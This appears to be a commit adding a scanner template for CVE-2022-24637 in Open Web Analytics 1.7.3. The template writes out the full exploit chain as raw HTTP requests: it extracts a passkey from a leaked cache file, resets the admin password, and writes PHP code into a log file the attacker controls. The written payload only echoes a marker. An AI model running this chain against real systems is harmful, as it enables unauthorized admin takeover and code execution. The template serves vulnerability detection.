commit
5870294b5f
|
@ -0,0 +1,166 @@
|
|||
id: CVE-2022-24637
|
||||
|
||||
info:
|
||||
name: Open Web Analytics 1.7.3 - Remote Code Execution
|
||||
author: iamnoooob,rootxharsh,pdresearch
|
||||
severity: critical
|
||||
description: |
|
||||
Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated remote attacker to obtain sensitive user information, which can be used to gain admin privileges by leveraging cache hashes. This occurs because files generated with '<?php (instead of the intended "<?php sequence) aren't handled by the PHP interpreter.
|
||||
reference:
|
||||
- https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/open_web_analytics_rce.rb
|
||||
- http://packetstormsecurity.com/files/171389/Open-Web-Analytics-1.7.3-Remote-Code-Execution.html
|
||||
- https://github.com/Open-Web-Analytics/Open-Web-Analytics/releases/tag/1.7.4
|
||||
- https://github.com/Pflegusch/CVE-2022-24637
|
||||
- https://github.com/c0derpwner/HTB-pwned
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2022-24637
|
||||
cwe-id: CWE-269
|
||||
epss-score: 0.84852
|
||||
epss-percentile: 0.98585
|
||||
cpe: cpe:2.3:a:openwebanalytics:open_web_analytics:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 6
|
||||
vendor: openwebanalytics
|
||||
product: open_web_analytics
|
||||
shodan-query: cpe:"cpe:2.3:a:openwebanalytics:open_web_analytics"
|
||||
tags: cve,cve2022,packetstorm,rce,intrusive,open-web-analytics
|
||||
|
||||
variables:
|
||||
password: "{{randbase(8)}}@123!"
|
||||
secret: "{{randstr}}"
|
||||
secret_b64: "{{base64(secret)}}"
|
||||
|
||||
flow: |
|
||||
http(1);
|
||||
http(2);
|
||||
javascript();
|
||||
http(3);
|
||||
http(4); http(5); http(6); http(7);
|
||||
|
||||
javascript:
|
||||
- code: |
|
||||
idx=serobj.indexOf('temp_passkey');
|
||||
passubstr=serobj.substring(idx,idx+120);
|
||||
temp_pass=(passubstr.match(/s:32:"([a-f0-9]{32})"/)[1])
|
||||
temp_pass
|
||||
|
||||
args:
|
||||
serobj: "{{base64_decode(serializedobj)}}"
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /index.php?owa_do=base.loginForm&owa_site_id=& HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
owa_user_id=admin&owa_password=wrong+password+xyz&owa_go=&owa_action=base.login&owa_submit_btn=Login
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "Login Failed"
|
||||
internal: true
|
||||
|
||||
- raw:
|
||||
- |
|
||||
GET /owa-data/caches/1/owa_user/c30da9265ba0a4704db9229f864c9eb7.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
part: body
|
||||
group: 1
|
||||
name: serializedobj
|
||||
internal: true
|
||||
regex:
|
||||
- '<\?php\\n\/\*([A-Za-z0-9=]+)\*\/\\n\?>'
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- <?php\n
|
||||
internal: true
|
||||
|
||||
- raw:
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
owa_password={{password}}&owa_password2={{password}}&owa_k={{javascript_response}}&owa_action=base.usersChangePassword&owa_submit_btn=Save+Your+New+Password
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "contains(location,'owa_status_code=3006')"
|
||||
- "status_code==302"
|
||||
internal: true
|
||||
condition: and
|
||||
|
||||
- raw:
|
||||
- |
|
||||
POST /index.php?owa_do=base.loginForm&owa_site_id=& HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
owa_user_id=admin&owa_password={{password}}&owa_go=&owa_action=base.login&owa_submit_btn=Login
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "contains(set_cookie,'owa_p')"
|
||||
- "status_code==302"
|
||||
internal: true
|
||||
condition: and
|
||||
|
||||
- raw:
|
||||
- |
|
||||
GET /index.php?owa_do=base.optionsGeneral HTTP/1.1
|
||||
Cookie: owa_p={{http_4_owa_p}};owa_u=admin;
|
||||
Host: {{Hostname}}
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
part: body
|
||||
group: 1
|
||||
name: nonce
|
||||
internal: true
|
||||
regex:
|
||||
- 'name="owa_nonce" value="([a-z0-9]+)">'
|
||||
|
||||
- raw:
|
||||
- |
|
||||
POST /index.php?owa_do=base.optionsGeneral HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Cookie: owa_p={{http_4_owa_p}};owa_u=admin;
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
owa_action=base.optionsUpdate&owa_nonce={{nonce}}&owa_config[base.error_log_file]=owa-data/caches/{{randstr}}.php&owa_config[base.error_log_level]=2
|
||||
|
||||
- raw:
|
||||
- |
|
||||
POST /index.php?owa_do=base.optionsGeneral HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Cookie: owa_p={{http_4_owa_p}};owa_u=admin;
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
owa_action=base.optionsUpdate&owa_nonce={{nonce}}&owa_config[shell]=<?php+echo base64_decode('{{secret_b64}}');?>
|
||||
|
||||
- |
|
||||
GET /owa-data/caches/{{randstr}}.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- '[debug_log]'
|
||||
- "{{secret}}"
|
||||
condition: and
|
Loading…
Reference in New Issue